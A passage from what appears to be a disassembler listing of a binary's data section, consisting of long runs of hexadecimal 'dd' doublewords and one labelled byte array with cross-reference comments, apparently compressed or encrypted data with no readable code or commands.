		dd 654C0F3Dh, 88805995h, 0C9E412h, 0BB38744Bh, 0D19F314Fh
		dd 8F6BEFEh, 8EE6F100h,	9BAF5EE0h, 0A8900220h, 0C1DEA34Ah
		dd 1F75C480h, 0AE380E5Bh, 0E6FD80DFh, 8A92F7A4h, 45CA0025h
		dd 0C34F6CBDh, 0E500A34Bh, 0DC1E08C7h, 34B550h,	8464AD80h
		dd 868D5D21h, 0FC725303h, 9FDEE1D6h, 5983C70h, 0B7AB0E4Eh
		dd 0B540B22Ah, 0CDDCFE3h, 0F57BC100h, 0E1E99054h, 0D38A00A1h
		dd 9E9AE031h, 550F9712h, 0C0330A99h, 0ECDC797Fh, 252007Dh
		dd 0DDE3A926h, 840EE79Fh, 420A315Ch, 400E5FF3h,	9CF8F4h
		dd 62252C0Bh, 7B9235D0h, 739ADC00h, 94120816h, 0E02A4AC2h
		dd 24E49E2Fh, 4400457Dh, 0FCA30F7Ch, 1C1B974Ah,	477EED5Bh
		dd 0B0E605D2h, 0CECCF666h, 0B6192D00h, 7D28AF6Ch, 2D609DDDh
		dd 0E0074461h, 0C0F08668h, 32A75510h, 38517492h, 4C808F43h
		dd 82C583BEh, 0B903DD42h, 0FA400F9Fh, 0B0ABC8EAh, 53CE0072h
		dd 69466A88h, 0FFB886A5h, 5F17101h, 9D8A22E5h, 310F1C32h
		dd 0B854B248h, 1C00113Eh, 901B8D7Eh, 43007417h,	9FEF68AAh
		dd 14A07C7h, 0BBEA8693h, 0CCDC59CBh, 0AB0F5EFDh, 815F67D4h
		dd 0F719E2F6h, 7F8A6ED4h, 28CA0CDh, 1DC40657h, 0A15E8929h
		dd 18071C90h, 0C0871395h, 521937F0h, 0C7FFA24h,	860E8B2Bh
		dd 0E07C3928h, 74CD591Eh, 0E07BC94Fh, 6780E2A4h, 0E1A10029h
		dd 0B9C60B3Dh, 561F3045h, 1743851Ch, 98E020A9h,	0AAC2F37h
		dd 10E8659Dh, 0FDBF0FD0h, 84FBA4A0h, 99302CF3h,	0BB52E0CBh
		dd 8E2F243Eh, 34A20088h, 7A63A3B6h, 7526891Fh, 0B71E3F40h
		dd 405C52h, 0DE0ED942h,	1C4DC492h, 0EB00DC90h, 8E36D6A5h
		dd 835A20h, 0AB3F4113h,	0B511FF14h, 17ADD300h, 0CF276DC3h
		dd 0B11C1C9Bh, 0BE2A8703h, 0C1875030h, 0B458A559h, 0ACD02A5h
		dd 48D5284Fh, 7D08B1ACh, 0AACC009Fh, 6A22779h, 2A7B8D91h
		dd 5110700Ah, 2900872Dh, 0B8E61192h, 50FE00C1h,	311C3B39h
		dd 6900B486h, 0DF700267h, 4CF629BFh, 0A00F445h,	0A14DBA99h
		db 73h
byte_520045	db 0DEh, 16h, 8Fh	; DATA XREF: ___:00437DC8o
					; ___:00437DE0o
		dd 98004EE0h, 9554D4A4h, 0F25E0019h, 26585069h,	6100C7C1h
		dd 6B474D1Dh, 0EF344FDh, 937E5977h, 2400B5E9h, 9A62E2C6h
		dd 0E66BCF00h, 0EDBB910Dh, 88158F2h, 1944D300h,	0B8B36556h
		dd 13006C76h, 0ACEAAD55h, 0ED83BCh, 260D39A7h, 0E8D7ECBDh
		dd 9E7C50Eh, 0D843408Ch, 7A32FEh, 0C340304Ah, 0A3ACCD1Eh
		dd 5423751Ch, 96CC1542h, 0D9C40ADh, 83F40079h, 467F706Eh
		dd 3000B4CDh, 971F5C4Ch, 506CFDh, 4F513E76h, 7D05DAEAh
		dd 428D2C1Eh, 106180F9h, 0A25877ADh, 8EC91E5Ch,	8F754396h
		dd 35A0E4E8h, 0FE005356h, 12D709E6h, 266BBD62h,	80D0F2B3h
		dd 0A3245EF7h, 14020D95h, 0F11CDA98h, 0B8A9E364h, 0A551E8h
		dd 87D28A50h, 3C676CC3h, 0B3009C98h, 6BAFC496h,	1D8E9F75h
		dd 836A82CEh, 0CA92ED3Dh, 97FFDB90h, 207F242Ch,	9E786D00h
		dd 486887D3h, 0C100B819h, 280EDBF6h, 36161073h,	0BF016B2Eh
		dd 233F971h, 5170841h, 0D0C70B13h, 7F6A8149h, 0DED25700h
		dd 834246DBh, 0BECE0068h, 3164CC5Ch, 0D80028FCh, 22DADD4Dh
		dd 3C9370D3h, 81001A34h, 0C3CCF8EAh, 6BFE9E79h,	9BED38h
		dd 305B5C2Eh, 0E9F67B33h, 1E6FA3E0h, 7A1DB7h, 9819ACD9h
		dd 47167F17h, 400491Fh,	0E27C40F8h, 0A4F15DF4h,	8285CC00h
		dd 3D26BB19h, 1E74D378h, 0CEB7CD00h, 15673CDDh,	0E9A200D4h
		dd 0F875358Fh, 0F0E9307h, 20D202E4h, 0A2820533h, 0D4FA00ECh
		dd 8DE30475h, 28007120h, 395B9DC7h, 3C1D8A38h, 37802612h
		dd 458CA266h, 0CE00D1E8h, 0DFF6F140h, 0FB86F41h, 4F2A7E8Bh
		dd 0A02CCCE0h, 0F90778D6h, 0F01C72F5h, 82D0FD47h, 7DA7E9DDh
		dd 0BDD20050h, 658D57EBh, 0CA00AECFh, 7A117E61h, 7760E2Eh
		dd 35EF1640h, 5B38C083h, 7B0006FCh, 3C02942Ah, 54BB12ABh
		dd 0D68407h, 0FE31A22Eh, 15674E9h, 2F3F7B13h, 6C2C1440h
		dd 0EB6D39Ch, 4D1B3D5Eh, 800F0839h, 9C347221h, 4FD57Ah
		dd 1416B350h, 3AE1268h,	51CD61C3h, 1005FB2Fh, 0FDB168h
		dd 72283F3h, 905D047Bh,	0CE0212B3h, 3F38406Ah, 9199AD0Eh
		dd 680D727Fh, 3820C598h, 0A8752199h, 1F691878h,	63B5C29Ch
		dd 73000111h, 0B5EF9C31h, 92182E62h, 0B750222Dh, 506600F0h
		dd 0DDAEAFE1h, 0B2000933h, 0AB3A32B0h, 3034CCBFh, 557976C9h
		dd 6301C84Ah, 0DD2EA09Eh, 89870F4h, 43DB2108h, 152FC25Ch
		dd 2E80F9D5h, 3D33EEh, 504ADE11h, 0E059DAh, 0A316B64Fh
		dd 1D76732Bh, 47047403h, 8DDC5E77h, 0C9217490h,	0CB62C0F0h
		dd 0DB460E11h, 773508C6h, 0E11F0120h, 3A5D8CF0h, 0B0F8FCD2h
		dd 4875AD36h, 1E0A2058h, 0D7B72407h, 40905EDEh,	0DA0D5h
		dd 0C9499F46h, 0F27494B0h, 5FEB200h, 9C71DB59h,	0C2BA0EAFh
		dd 0E4608E9Eh, 99F9346Ah, 0FD355D00h, 69B6CAFEh, 8B9B008Ch
		dd 9078F824h, 82006BBFh, 0C1D8D038h, 0CABBECh, 0E83D893Ah
		dd 676D5A16h, 18004DFEh, 778478C4h, 8137E3h, 0A2608AB3h
		dd 11D82B99h, 96004171h, 40C456A6h, 0C574CBh, 78B0DD04h
		dd 9859F2Bh, 73925C07h,	0E7503EEAh, 1E3676h, 70745E7Eh
		dd 5583F17Dh, 18BED900h, 8F4058A5h, 0C1D70323h,	90575E36h
		dd 80DD15E9h, 6D727C38h, 0A43725h, 8DF6613Bh, 0A6B549F1h
		dd 128F391Eh, 0E1AD2D4Fh, 3D732F70h, 62F0B0CDh,	0F3670FE2h
		dd 238672A6h, 12001960h, 43338B57h, 0D42B2Dh, 49F30931h
		dd 2129AA30h, 0F770581Fh, 41309558h, 1F40C4F5h,	0B55500B7h
		dd 0B831220Ch, 6BF33CACh, 0BAC8F430h, 7800423Ah, 303976D2h
		dd 4F69B7h, 3745B6Ch, 6BCB86FDh, 0B6DB171Dh, 0B0012830h
		dd 0D3F176h, 7028AB38h,	870449C3h, 3E080E00h, 307D034h
		dd 101E7C13h, 719BE79h,	0B4181B0Ah, 0F87A5DF0h,	0DE3B013Ch
		dd 0BFBDB92Ah, 492FE802h, 85F9E8FDh, 0F511F806h, 119D98Fh
		dd 709ECF2Dh, 0F1DD3CAEh, 0BF5D103Dh, 92FE0C3Bh, 426852DCh
		dd 0D62A9313h, 98B0CA00h, 73FE25B7h, 495F01B9h,	66F9D060h
		dd 0DF85E421h, 4F48CD60h, 89401Ah, 7B78F51Eh, 0CEF183ACh
		dd 0C71CA974h, 42026B08h, 0A1334D28h, 55D80998h, 0A5CC7180h
		dd 1F112E6Bh, 4EEE6D00h, 3B5C2906h, 0B81A3977h,	1CB93h
		dd 64FB2D62h, 0B500B2CEh, 917A7DB0h, 0C06324h, 2D4FB4A0h
		dd 2B8AFA21h, 0D2585D00h, 791666E7h, 0B0F60098h, 3E7B142Eh
		dd 0A13E3DC0h, 60F7001Dh, 0CC075DF8h, 2B89030Dh, 7F6E7242h
		dd 0C522180Ch, 245023h,	26DEE699h, 8B02E395h, 0CC2EA17Ch
		dd 68001D60h, 32A3B0E2h, 0F8BD309Ah, 46AF2380h,	8309043Dh
		dd 0A7C53AC0h, 0E465B36Bh, 7C7F8983h, 0D9ED0088h, 0BAABE3DAh
		dd 0F300C112h, 97E2CCF5h, 353FAA7h, 0ACB97922h,	0A9C88590h
		dd 5C265BA1h, 0C40F02CBh, 6EAD038Ch, 23C91798h,	0EB8169Ah
		dd 2A2C7509h, 8F30B4C0h, 84B7C8D8h, 80F6000Ch, 144CAD94h
		dd 9C0187EAh, 8301C34h,	44A1DDFh, 402FC0ABh, 780819Fh
		dd 929028B2h, 294B204Ch, 8E00DBA4h, 0A13C7D51h,	1E9F486Ch
		dd 7965C0h, 9780FB7Fh, 537CB581h, 7D928300h, 0B66E0828h
		dd 0B950013Ch, 6402904Fh, 9807F094h, 5C1C431Eh,	9D925887h
		dd 29FA0B0h, 0DEDD0783h, 8067A251h, 88B76959h, 9DB4C000h
		dd 60D42F9Bh, 11661CE1h, 0B7B8309Ah, 7A009247h,	86D81785h
		dd 9496BCFh, 2AF2F0B2h,	35E73080h, 0C3504E13h, 9F446C14h
		dd 0BE2446Eh, 9D542284h, 0BA114042h, 827217Fh, 1490511Bh
		dd 44D62D84h, 98449B73h, 42684847h, 4F228E41h, 480F2299h
		dd 0F021BC24h, 103B127Eh, 50884269h, 7B398864h,	0E6089789h
		dd 0A0A4C344h, 89824728h, 444308A3h, 14A0F8BFh,	7F899A1Dh
		dd 0FB442F08h, 0C427898Ch, 593F68B3h, 94A1801Eh, 0BCDF404Ah
		dd 4BD81DCDh, 1D504E3Ch, 0CF1AB380h, 7D16BE2Ah,	76006544h
		dd 0A899BA64h, 6721FA2h, 9D95C0D8h, 67B4CEA0h, 0B068B800h
		dd 0E693CB13h, 0D43F0029h, 0E8B524FDh, 3300D725h, 0BEA28D68h
		dd 0AB95B2h, 2DAF1A04h,	6FBB665Ch, 0C5F6C107h, 79F2F3Bh
		dd 20C0DD90h, 9CFB26h, 9B496CF0h, 2BE48795h, 5004BB03h
		dd 0E09668F4h, 0FE3A4C5h, 0A51F05B3h, 39EAACE0h, 8400E813h
		dd 0B1D273A2h, 0FBEFF8h, 0E043AF2Dh, 9036021Ah,	0FF8F7C02h
		dd 484B8406h, 0FE2A8h, 74BC47FCh, 52F205E6h, 0BE969100h
		dd 6C6DF4EEh, 115700B0h, 0E44FED63h, 5600E88Fh,	0E040FE9Dh
		dd 182CAC28h, 10AEEB3Bh, 0C20076E3h, 0EA1F0EFh,	4CAA170Fh
		dd 900E437h, 8E467C6Ah,	0B13929D3h, 0FFAF003Ah,	0DBDC3785h
		dd 7E2700C9h, 32EBC307h, 0D228351Eh, 750EA065h,	0C06CE437h
		dd 24D87CE9h, 22A901C5h, 0FC87B45Eh, 152980D0h,	60CBF55Bh
		dd 0C5663D0Dh, 2CA42600h, 0C3712E05h, 0B3909400h, 0B1DD92BEh
		dd 8619C044h, 38ADE6E1h, 0F5D61B00h, 8BA0889Fh,	0AA7600A2h
		dd 0D3932C6h, 0CE00F769h, 9D7F04E1h, 35816Fh, 7745744Ah
		dd 0BB75DB60h, 3CE9B501h, 3327788Bh, 0A041D4h, 66D6DD3Fh
		dd 0C4FBD530h, 0EB010898h, 23EA124Bh, 7EEC2B3Eh, 0E4AB0048h
		dd 4AF7730Eh, 91C5A41h,	4C026C8h, 0BD3C9F49h, 493576F6h
		dd 0AD00583Bh, 259CE4E9h, 0A024CBE1h, 6F000CA3h, 0A805344Eh
		dd 0E0C03D39h, 60094F00h, 991CB2E7h, 0D5928E00h, 23176662h
		dd 2A88A09Fh, 73BB03AAh, 2FFCDBACh, 3580D683h, 0F20023CDh
		dd 6709CECAh, 70420B0Ch, 34B439E0h, 0C96C8900h,	267BB393h
		dd 0D395AF00h, 518D453Fh
		dd 0F8660108h, 0E0B57C4Ch, 0D47BE941h, 840128D1h, 4E1E2575h
		dd 0C24A5A7h, 63052102h, 0C4D88400h, 395FA0FBh,	78007B41h
		dd 0B09CF882h, 89019331h, 0C10D1263h, 0EBF990DEh, 137CB820h
		dd 168344BEh, 2D9A07DDh, 4126C0CBh, 3B00B8AEh, 58E71BE0h
		dd 7B49B22h, 5997B116h,	29A3E174h, 8D12C075h, 7F913602h
		dd 4072655Ch, 6BB700h, 209E157Dh, 615EB2C3h, 0B6147879h
		dd 2EC1EB9h, 0C9725F8h,	0E0DF00C6h, 55003C81h, 0E2878812h
		dd 3B1318B4h, 860E3E03h, 1A60B69Bh, 9520151Ch, 4CB14Ch
		dd 0EE529F2h, 0D9F648h,	5F1FCCBAh, 0BB1EA5FCh, 0C3ECAE50h
		dd 8040653Dh, 8C4C6613h, 7FD7E2h, 0E6DEA10Bh, 0FCEADBD4h
		dd 0B06B48h, 668A2D6Ch,	58CC3Dh, 0CA6526F3h, 0D9A1D7C3h
		dd 0E6C8003h, 0B8863B28h, 1F6D9BC4h, 8603B749h,	10E587C7h
		dd 0C3957202h, 81699E4Fh, 7D586DCh, 1FC1831h, 4CAC075Ah
		dd 0A5C0F1D2h, 3FB0007Fh, 96B0585Ch, 7B3CEE07h,	890E1D80h
		dd 4E6480B4h, 0FEDFB8C5h, 9B5E1DC9h, 0C0321C46h, 8DBE5D11h
		dd 700F4841h, 4FEC1659h, 0C517C01Ch, 0F1388Ch, 3EF0CB63h
		dd 0B51F248Eh, 68C14600h, 0C23699E7h, 0A67200FEh, 7BB6E9AAh
		dd 9600F8A3h, 0DAD6F6E6h, 9F2D23h, 0FEAD356Bh, 0C7958DFAh
		dd 0D3C67D14h, 86E700D8h, 783D7EE9h, 35DF1F34h,	482B808Eh
		dd 0D2DECB61h, 23849F00h, 0C0B6EE5h, 0BF9100DBh, 6C2D11DAh
		dd 0C0001E60h, 4727A4A1h, 20D4BDE3h, 2B139F95h,	782477DDh
		dd 6E8017C7h, 722AE7BDh, 0BBAD1D65h, 0B52C401Bh, 0B933FE7Fh
		dd 8739E500h, 0C741FFAh, 0A7BD0105h, 8DC93A8Ah,	662E43Eh
		dd 0A8F9E907h, 0D3E202B9h, 0CB706BF4h, 0E047A027h, 152D005Ch
		dd 7BBACB40h, 62F8A7EAh, 0A02ABE00h, 0FC3F1BFBh, 0E7A5005Bh
		dd 3E3B6C2h, 88003A4Bh,	8B02C7D1h, 7AC2A49h, 0A28339E6h
		dd 0C81150E8h, 203F604Eh, 63FF853Fh, 6780B479h,	12264508h
		dd 1662774h, 3D0CC36Ch,	52E1D8F9h, 20F65A00h, 0D6EA3A61h
		dd 0F05E00E0h, 324EC7C8h, 5A0013DEh, 0A51AF61Bh, 137B3F3Dh
		dd 35F831h, 4746BC65h, 0C8008BF0h, 98505287h, 0FEDBA940h
		dd 363300F3h, 751220FAh, 2F00444Ah, 0D58237BFh,	0A606E9h
		dd 46DDA3C9h, 0CF406A2Dh, 18EA5930h, 7420E50h, 879A0490h
		dd 94E92E4Ah, 0DAC1A88h, 24FC0353h, 0C6C0BBD0h,	3F4CB15Ah
		dd 9BC900ABh, 185C57B2h, 0D100BA87h, 1039594Ah,	7E78B9h
		dd 0C6EBAC8Fh, 2C6C7925h, 5D8D8200h, 94F31518h,	299824B1h
		dd 31FF840Ch, 56444024h, 0F255D167h, 0B2B71316h, 2D88007Bh
		dd 0AF0EB663h, 5D68F600h, 0D7E62460h, 0D38800DBh, 8144FA1h
		dd 2B00D27Bh, 0D66F8162h, 3E494B5h, 64833675h, 6F974FE3h
		dd 34244360h, 7D00AD1Ah, 0D0A3DDA2h, 0A8D385h, 97CFE667h
		dd 52C4E36Bh, 0A70027F8h, 0CC88A0A3h, 74143A93h, 0AF480041h
		dd 13772A8Bh, 0D059E63Eh, 808C00FCh, 78DC96C5h,	4ED50EB3h
		dd 0DA232DDFh, 6DE2CE0Ah, 45CAFFC0h, 47DB6900h,	0B818FDDDh
		dd 5EC20FE4h, 20808443h, 0D1C0DEC8h, 2D279B00h,	2254C379h
		dd 428D3CEFh, 0C6C77A80h, 5CBF97Dh, 8082D53Eh, 41A4ECAh
		dd 970ACF1h, 2F293025h,	1D287880h, 9B3C92FAh, 5AB83EAh
		dd 1CBFFD86h, 0C0C4B3C0h, 45DF3A68h, 0CE00C91Dh, 0DA03D55Fh
		dd 7CBB650h, 0AC809786h, 80C7959Ch, 0B08E6654h,	0F3C681Ch
		dd 0D570A80h, 0E3FB60h,	5E7C7AD6h, 0D713DB66h, 415883Eh
		dd 530FB535h, 43C9C782h, 1997E824h, 0CA6D050Eh,	819A6FDFh
		dd 20FB7863h, 93016E62h, 7402718Eh, 0A9F8D87Dh,	0F3110020h
		dd 7040BD21h, 0B10ED1AEh, 61573134h, 9A5316ADh,	9DB2420h
		dd 3F44097Eh, 1AD63840h, 0A0D03900h, 0D8478293h, 0E34816BBh
		dd 3764038Ah, 2800CEE8h, 0E472541Ah, 0B0A8F5D1h, 344D0CF4h
		dd 3FB0CB99h, 0C6237F00h, 27A7F22Ah, 16147F4Ch,	409986B3h
		dd 0B59A106Ch, 0BF02373Dh, 790A18F5h, 0AE76C1BBh, 0E847F88Fh
		dd 0E1F18E07h, 241B0E05h, 200637Ch, 0D3FC0FE1h,	58605A70h
		dd 0F4000C06h, 65A5D8C1h, 86040C59h, 7A269182h,	0EFD18480h
		dd 28050037h, 0C420EE1Ah, 0ED00D881h, 21557770h, 12C2B1F3h
		dd 9F59CEh, 3B6F3D73h, 0DD0F68B3h, 0A042CB49h, 368A1B1Dh
		dd 0B8A109FDh, 840093C7h, 0B250D961h, 0B4EA88h,	95302AE2h
		dd 0D1457217h, 89D41F0Ch, 88882h, 66E29CEAh, 0B04B2A4Dh
		dd 820514Ah, 10B2E6h, 0BEA28CF8h, 2643A3F6h, 9078C900h
		dd 2CF185Bh, 60EC16D4h,	5DD400FFh, 72D5BB6Bh, 9D045F00h
		dd 20CDE1A0h, 7A273B2h,	0C283E858h, 2882DBBEh, 30587689h
		dd 44981F0Fh, 2DE7A03Ch, 2ED78CE5h, 37218FAh, 89E1ADEBh
		dd 0F4058BD0h, 55CA45Ch, 0EF9CA22Eh, 0D158B400h, 6E0F5Bh
		dd 4C5D9B8Fh, 3E24753Ah, 0E2AD2B00h, 9D01AFA3h,	8AA600EAh
		dd 25641069h, 0C0016874h, 4A306F4h, 0B4D0D888h,	42B603EEh
		dd 74AE1AF7h, 829750F0h, 83B9E60Eh, 236E202Ah, 0E04A7Fh
		dd 7D0835E3h, 0A36B5975h, 0BBDB5D00h, 0D0B979Dh, 0D17C0103h
		dd 0EB394466h, 0BE74F881h, 910F2914h, 30F008C0h, 424A3C1Dh
		dd 49EC2B60h, 0D85F38E1h, 9AFE3665h, 0E34AD207h, 0B4F06454h
		dd 88D322h, 90464BBEh, 5D1D6DB3h, 0A2E84300h, 0A6D8F9F8h
		dd 0F20B00E3h, 0AAC722C4h, 96005BD4h, 0D9E90F56h, 3A1C09B2h
		dd 90F939A9h, 0C5980012h, 1149D5Eh, 193C86CDh, 68F9A64Ch
		dd 0DFAEEB00h, 75430C37h, 4A7C52h, 0EBB2A88h, 7C56362h
		dd 0FC993600h, 4CA51B87h, 0DA260E5Ah, 27E0D0BBh, 59F1487Dh
		dd 35D6E809h, 0C72407EEh, 81BDE780h, 2887AB4h, 177A026Ch
		dd 8340C33Eh, 8B4F6FBAh, 0F89BC9C3h, 7C133C70h,	45B800C0h
		dd 8FF2B525h, 1400FC94h, 2B10F7F9h, 30FCE73h, 8B159B43h
		dd 49D074E7h, 0B30038A4h, 0E8103AC2h, 9E5D5C2Ch, 85EB0EB4h
		dd 68B614E0h, 349AF7E3h, 90CB4A00h, 6C9886EEh, 91F27Ch
		dd 71CA05E5h, 56AE95CCh, 0A0669D0Eh, 94806084h,	0C3E0BAh
		dd 9821DE36h, 3247EE9Fh, 0A7BC80A0h, 53D39A00h,	5BFBCEB5h
		dd 23520CC7h, 252030ABh, 7343A91Dh, 935AC3C0h, 31EB71Dh
		dd 0FCDDBD1Fh, 1BF0424Dh, 0E60B3102h, 60C54686h, 4D9E5A18h
		dd 8C1034E2h, 0B53800EFh, 0DD0941ECh, 2EC500D2h, 0E47079EDh
		dd 9B00AA85h, 7178B16Fh, 0EAAE6AEBh, 0C6870063h, 1907EDD2h
		dd 5B003EB3h, 0E605FEACh, 0E0A30270h, 75C8EB78h, 50F376FFh
		dd 2ED353h, 0D03B45D7h,	0E4496D1Eh, 0BFC3340Bh,	2AA880FDh
		dd 41304Fh, 267631B7h, 0A0FCA9CBh, 9EF4F200h, 82BA5B62h
		dd 2BE7007Fh, 0EF9B1EC7h, 41042FC2h, 0A34964DBh, 0E52948D0h
		dd 9DF204B3h, 802F62FDh, 28AFD9BCh, 74A73F18h, 0E2F17610h
		dd 0E6903ABh, 56E07B68h, 8B2D1800h, 4454191Eh, 0FA27F0F4h
		dd 8D3C00DDh, 1DBAB34Fh, 3000552Bh, 0FC960915h,	0C07FAC25h
		dd 74C3BE79h, 5F2E2CE6h, 13004E29h, 4B1176B1h, 1372B860h
		dd 0C0632516h, 186A472Ch, 0ED2CA4Ch, 33B326h, 8FABCD60h
		dd 1F547B7Dh, 9ACB0EAh,	3020349Fh, 5326D608h, 0B1141A30h
		dd 358BAFBh, 0F2324361h, 191E29FFh, 0C013ADDBh,	0FC74DF00h
		dd 30433E1Eh, 1521A331h, 3A00755Ch, 4D0F69E9h, 243F469Eh
		dd 70E42Bh, 0B5ED71A2h,	931DF4F3h, 0B340030Ah, 0FB648EC3h
		dd 66B7F12h, 0D1A0F99h,	0C1161091h, 0CF00228Bh,	0B6D4C242h
		dd 0EDEA2594h, 7291FC81h
		dd 0BCF0D890h, 0C0B07473h, 45DA8805h, 3AC54606h, 9F87A983h
		dd 60CB8C40h, 5232035Fh, 0C6BACF9Ah, 63B73988h,	0FF02B1F6h
		dd 0DB0F2A56h, 3EBC8086h, 22B34B6h, 7768F0A1h, 0C0F7E2F5h
		dd 3C679080h, 27800EC2h, 2580F7F8h, 593C1E05h, 47038E46h
		dd 0C4FFC920h, 9D89000Ch, 0DC12A325h, 27013C34h, 6165E6Eh
		dd 0DC5074E9h, 1EB0FCFh, 527C4621h, 60ECA505h, 840083C4h
		dd 0E886D96Ch, 889253h,	1C4745DEh, 0EBB1CF3Dh, 56FC8F09h
		dd 3F8080E1h, 39DFD22h,	7CE78592h, 95D135AFh, 34303406h
		dd 434DE109h, 815C02A4h, 0D10041BFh, 902D12E0h,	0F7FB2835h
		dd 1F5F6A4h, 9716AF93h,	0ECD98956h, 3C004EBCh, 0C66D8CF1h
		dd 176E2E0h, 3DB9E71Fh,	3496E1DDh, 0C003C10h, 21587D72h
		dd 7582EF8Bh, 3BFD0712h, 0C29F4C2Dh, 9040750Fh,	1900DCB0h
		dd 0D3945D33h, 292874h,	0A5EA897Fh, 0CA85130Bh,	80546738h
		dd 6B9B186Eh, 2581C9h, 0C6A91E24h, 0BE1C4CC3h, 0B02C48h
		dd 90217CA4h, 0B8330486h, 1120085h, 7BC67603h, 79006FFEh
		dd 8CBBF0FCh, 0F87F2683h, 0B9D400BDh, 376E16ABh, 0A200220Dh
		dd 65EAC5F7h, 18B6F22Fh, 0A9AC5ECAh, 4A005059h,	6D66F729h
		dd 701692EDh, 0A2F224h,	7FEE82ABh, 0D0C78A6Bh, 34FB8D0Eh
		dd 47F5C060h, 0E216BFD5h, 1420003Dh, 4EB5CE10h,	620A427Fh
		dd 0D8846ED2h, 2ACFBC00h, 48B737E5h, 6900A993h,	0C81AC541h
		dd 2D180844h, 0B8B82149h, 6AB918BEh, 0C2DF98A9h, 398E7400h
		dd 79F2ABE0h, 0BD210078h, 0AA1F8B22h, 28C7AE7Dh, 27D1FB30h
		dd 24303EC9h, 0F17982h,	67692F0Bh, 4991E7BAh, 990620B8h
		dd 38BEAF59h, 0C7A703B0h, 0D819EEB5h, 40F783BAh, 0F6D1DBFh
		dd 79B9995h, 636140DEh,	8CF70F79h, 2DD4E04h, 0A5C08B24h
		dd 0E646A0BDh, 9D5300BFh, 89568DFh, 0DD01EF6Eh,	2789A296h
		dd 0CCECCB90h, 705901B5h, 0CFF7F55Bh, 0DC106179h, 0FF000961h
		dd 0F4B90625h, 0C3C24Ah, 244219CAh, 0EFD4AC69h,	181311E0h
		dd 0A800D10Ah, 640E57E3h, 4633001Eh, 0C28D90FDh, 9500BBB0h
		dd 8E8A2870h, 1098C37h,	6E0EA756h, 40CE7A69h, 9E52EF94h
		dd 76FFCF13h, 3C8A1C80h, 50BDEA79h, 5E7BA22Bh, 83340020h
		dd 3897DDFFh, 3EAD802h,	5015A9BAh, 63B0A9C4h, 2A24D43Ch
		dd 503047FCh, 24BD88F1h, 2CFDDE0Eh, 526F6FC3h, 69A9D40Ch
		dd 29898A1h, 2E85F947h,	0D868CFB3h, 0E001D25Bh,	16B0C4B4h
		dd 69800F55h, 0F84E7F1Fh, 2B1ECC29h, 84FCE3C3h,	34695A56h
		dd 18ED04C2h, 78027A50h, 0B388CC89h, 0B0A0687Ch, 0E7C31832h
		dd 878A114Ch, 3084FE00h, 7A451906h, 29581C97h, 0DE6C24h
		dd 371F6A54h, 1A0CB4C1h, 38F6CF1Ch, 0D070BE9h, 0A580A6E4h
		dd 5B7FA453h, 50F0C3Ch,	5D898FB4h, 4A091820h, 0C29C0E98h
		dd 3B0283EEh, 0CCE0FFABh, 0D006344Bh, 6E6BCF3Ch, 0BC6950FCh
		dd 81D300CAh, 0C9330623h, 0D600383Ah, 7F3B0EA8h, 0B53FB7h
		dd 0B2027531h, 1CC458EDh, 0CC646626h, 34802F17h, 1DE560Dh
		dd 31ACAB05h, 0C867D748h, 1513C4EBh, 50026AEEh,	2A8A20h
		dd 236DA1EAh, 1E6FB701h, 0CD9CEF55h, 3200C472h,	4240B6ADh
		dd 0AC00C459h, 0E20B5112h, 0C1BB525h, 3060CC17h, 0DD006578h
		dd 81FE5739h, 27DC35h, 23C45F67h, 0FAE0B898h, 799A0900h
		dd 0B0868219h, 2F2028EDh, 0B6B20ADCh, 1F98F3EAh, 37ADC142h
		dd 24F2E069h, 0A001470Ch, 6B297265h, 22AFF96h, 565C4A8Bh
		dd 21C88CE1h, 3270814Bh, 35D39BCFh, 0E1D4C8h, 0F745EECBh
		dd 0B2C9B7F8h, 4FB53E07h, 0C70EBC39h, 0E0104787h, 0B0680Ch
		dd 0E7C249CEh, 0FDEC42B4h, 0B6367201h, 7EEAB90Bh, 505370h
		dd 0AE014648h, 2B33AD37h, 0FD207300h, 573614E2h, 0C74916CBh
		dd 0E97C00E3h, 8B8DFFF1h, 9762001h, 93E03B0Bh, 7D8E20h
		dd 4A38287Eh, 8E6E11E2h, 9475FC00h, 0BCFF0C21h,	5A540072h
		dd 24E8A41h, 0AA00C518h, 8EC64F51h, 4F1649A2h, 37BC43F8h
		dd 0D0DD364Ah, 0CAEAC6DCh, 0D503B600h, 3D5248E2h, 160D1C41h
		dd 0BA1300C0h, 27C1AFE5h, 0DD7B2D00h, 0FFED2052h, 0B1A50F8Eh
		dd 0F42058E0h, 5C5AB3D2h, 0EF70BD01h, 7ADD3F85h, 3B88D9C6h
		dd 61FA480h, 0E17E6DF0h, 9CA27D17h, 8749E00Fh, 801F4190h
		dd 48EE12BAh, 62681F1Eh, 0B804C7BCh, 4D3B2030h,	660767B5h
		dd 0D16A036Ch, 0F5B71AB0h, 7F490096h, 1D41570Bh, 616FEEAh
		dd 0BA00C572h, 3361773h, 42C61416h, 0DD1EB4E2h,	5FB14078h
		dd 0D0CDBBB6h, 834D405h, 68E0137Dh, 0EB3E3CA5h,	6F90B300h
		dd 0A4AA01C9h, 24F3B40Fh, 386CC033h, 0F2EB9F4Fh, 81641406h
		dd 0D08B4C0h, 1700BBECh, 0AB1B4DA5h, 8A121E24h,	612380EFh
		dd 0F0D5B390h, 0AFADBA00h, 34559159h, 0D7EF002Ah, 7DD99ACCh
		dd 804C7241h, 0CFF10045h, 0D1010450h, 3D050014h, 0B976236Bh
		dd 0C6739DD8h, 687AEB24h, 0FABC1C00h, 0CCF019h,	46477C30h
		dd 5E862B15h, 269C2C1Ch, 84143383h, 7AEF8074h, 0ACBF0077h
		dd 12A79D2h, 0D100D0B6h, 81431D5h, 25FC4Ch, 0FFBD29ADh
		dd 0C67D8549h, 573FC900h, 24D23E2h, 0CDFB008Bh,	0B76BFA9Ch
		dd 0F80034E0h, 769081E3h, 1CD087DBh, 4030B2B5h,	1A53B308h
		dd 90DD2EE2h, 3E406080h, 0FB35DFh, 6249288Eh, 34EC132h
		dd 0FC008B74h, 0DC5DC5A5h, 0F4BA94h, 6186131Bh,	3EACDD92h
		dd 66036D14h, 5A1705FCh, 74E26BCCh, 0FC925204h,	0DF9CC0D8h
		dd 1A04ADBEh, 9E55D479h, 22190A0h, 4DB393E4h, 80808EA6h
		dd 6A94436Dh, 9040A75Ah, 0EE6391C9h, 0BD020042h, 7141560Ah
		dd 0B14FE4F9h, 86940405h, 380732C0h, 0D7C184Dh,	10441067h
		dd 0DCE93A00h, 0C9D9969h, 577F00B5h, 589EE8D1h,	2A2530D3h
		dd 0C3DC00EEh, 0B910ABh, 0B0C7A8F5h, 62258F5Ch,	81A2D05h
